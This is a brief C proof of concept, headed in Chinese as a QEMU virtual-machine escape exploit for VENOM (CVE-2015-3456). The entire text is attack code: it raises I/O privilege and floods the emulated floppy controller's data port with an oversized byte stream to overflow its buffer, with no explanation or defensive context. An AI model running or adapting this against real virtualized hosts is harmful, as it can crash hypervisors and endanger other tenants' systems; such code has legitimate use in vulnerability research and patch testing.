VENOM cve-2015-3456 Qemu 虚拟机逃逸漏洞POC

#include <sys/io.h>

int main()
{
        int i ;
        iopl(3);

        outb(0x8e, 0x3f5);
        outb(0x41, 0x3f5);
        outb(0x41, 0x3f5);
        outb(0x41, 0x3f5);
        outb(0x41, 0x3f5);
        outb(0x41, 0x3f5);

        for(i = 0 ; i < 100000 ; i++)
        {
                outb(0x42, 0x3f5);
        }
        return 0 ;
}